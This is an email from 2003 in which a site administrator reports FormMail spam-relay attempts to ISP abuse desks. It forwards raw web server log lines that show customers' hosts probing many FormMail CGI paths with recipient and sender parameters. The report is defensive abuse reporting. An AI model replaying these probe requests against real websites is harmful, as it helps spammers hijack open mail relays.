From: security curmudgeon (jericho@attrition.org)
To: abuse@rr.com, abuse@dsl-verizon.net, abuse@verizon.net
Date: Mon, 21 Jul 2003 23:56:21 -0400 (EDT)
Subject: Daily CGI Formmail Spam Attempts (fwd)



your customers are attempting to relay mail through still/again


lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [21/Jul/2003:14:03:30 -0400] "GET /cgi-bin/formmail.cgi?recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.cgi&message=z26032h27270ldb26716fb27741d10651azt15566al21801y19196yrt7704a HTTP/1.1" 403 372 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [21/Jul/2003:14:03:30 -0400] "GET /cgi-bin/FormMail.pl?recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/FormMail.pl&message=z27486f4927pam19153nt25906c16207nsx25777jr1084k25306rmc8345h HTTP/1.1" 404 1804 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [21/Jul/2003:14:03:32 -0400] "GET /cgi-bin/formmail/FormMail.cgi?recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/FormMail.cgi&message=u7331f23867ksl17031an24079q31599yju8357ca8274p27839hbf21816p HTTP/1.1" 404 1759 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [21/Jul/2003:14:03:32 -0400] "GET /cgi-bin/formmail/FormMail.pl?recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/FormMail.pl&message=q685o21063ywn25165hh25636z6625tds6071na17221t20380zrc25294z HTTP/1.1" 404 1796 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

193.209.27.24.cfl.rr.com - - [21/Jul/2003:01:44:05 -0400] "GET /cgi-bin/formmail.cgi?recipient=alaydwen@aol.com&email=WantTis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.cgi&message=v30907t11895hhg11341by2242q5401xfg10316eq6426u15572kep12579f HTTP/1.1" 403 372 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
193.209.27.24.cfl.rr.com - - [21/Jul/2003:01:44:05 -0400] "GET /cgi-bin/FormMail.cgi?recipient=alaydwen@aol.com&email=WantTis@aol.com&subject=http://www.attrition.org/cgi-bin/FormMail.cgi&message=m2754o28602dxw23392ca14847d11429mkq30311zj13008p1387rgo5488h HTTP/1.1" 404 1753 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
193.209.27.24.cfl.rr.com - - [21/Jul/2003:01:44:06 -0400] "GET /cgi-bin/FormMail.pl?recipient=alaydwen@aol.com&email=WantTis@aol.com&subject=http://www.attrition.org/cgi-bin/FormMail.pl&message=p24846l14037fyl28264dk1391j3441erl13012hq18693a14167xay5705g HTTP/1.1" 404 1747 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
193.209.27.24.cfl.rr.com - - [21/Jul/2003:01:44:06 -0400] "GET /cgi-bin/formmail.pl?recipient=alaydwen@aol.com&email=WantTis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.pl&message=x10647j17354tqf15986wg19746n9751xcc2102ew23635w14749ssa2444d HTTP/1.1" 200 647 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
193.209.27.24.cfl.rr.com - - [21/Jul/2003:01:44:06 -0400] "GET /cgi-bin/formmail/FormMail.cgi?recipient=alaydwen@aol.com&email=WantTis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/FormMail.cgi&message=a16132u20918jzb14082zb11005o30276fys7033qq5324v4641wyl30618e HTTP/1.1" 404 1791 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
193.209.27.24.cfl.rr.com - - [21/Jul/2003:01:44:06 -0400] "GET /cgi-bin/formmail/formmail.cgi?recipient=alaydwen@aol.com&email=WantTis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/formmail.cgi&message=x7596e19771anj9092nv3836n9434myv12723lb14302o22635nch9517g HTTP/1.1" 404 1756 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
193.209.27.24.cfl.rr.com - - [21/Jul/2003:01:44:07 -0400] "GET /cgi-bin/formmail/FormMail.pl?recipient=alaydwen@aol.com&email=WantTis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/FormMail.pl&message=k26912z3540syy7642ij6487r31226vne7171qe8196n14608djw28021k HTTP/1.1" 404 1787 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
193.209.27.24.cfl.rr.com - - [21/Jul/2003:01:44:07 -0400] "GET /cgi-bin/formmail/formmail.pl?recipient=alaydwen@aol.com&email=WantTis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/formmail.pl&message=x4438r1833rdm30840mr18193x19135asy1362ze16613u30415zep16484c HTTP/1.1" 404 1765 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"

pool-141-157-234-52.ny325.east.verizon.net - - [21/Jul/2003:21:47:44 -0400] "GET /cgi-bin/formmail.pl?email=Checkit%40attrition%2Eorg&recipient=foxcid%40hotmail%2Ecom&subject=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2Fformmail%2Epl%3F&msg=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2Fformmail%2Epl%3F HTTP/1.1" 200 647 "-" "Gozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Windows 2000)"
pool-141-157-234-52.ny325.east.verizon.net - - [21/Jul/2003:21:47:52 -0400] "GET /cgi-bin/FormMail.pl?email=Checkit%40attrition%2Eorg&recipient=foxcid%40hotmail%2Ecom&subject=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2FFormMail%2Epl%3F&msg=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2FFormMail%2Epl%3F HTTP/1.1" 404 1747 "-" "Gozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Windows 2000)"
pool-141-157-234-52.ny325.east.verizon.net - - [21/Jul/2003:21:48:02 -0400] "GET /cgi-bin/formmail.cgi?email=Checkit%40attrition%2Eorg&recipient=foxcid%40hotmail%2Ecom&subject=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2Fformmail%2Ecgi%3F&msg=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2Fformmail%2Ecgi%3F HTTP/1.1" 403 372 "-" "Gozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Windows 2000)"
pool-141-157-234-52.ny325.east.verizon.net - - [21/Jul/2003:21:48:12 -0400] "GET /cgi-bin/FormMail.cgi?email=Checkit%40attrition%2Eorg&recipient=foxcid%40hotmail%2Ecom&subject=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2FFormMail%2Ecgi%3F&msg=www%2Eattrition%2Eorg%2Fcgi%2Dbin%2FFormMail%2Ecgi%3F HTTP/1.1" 404 1826 "-" "Gozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Windows 2000)"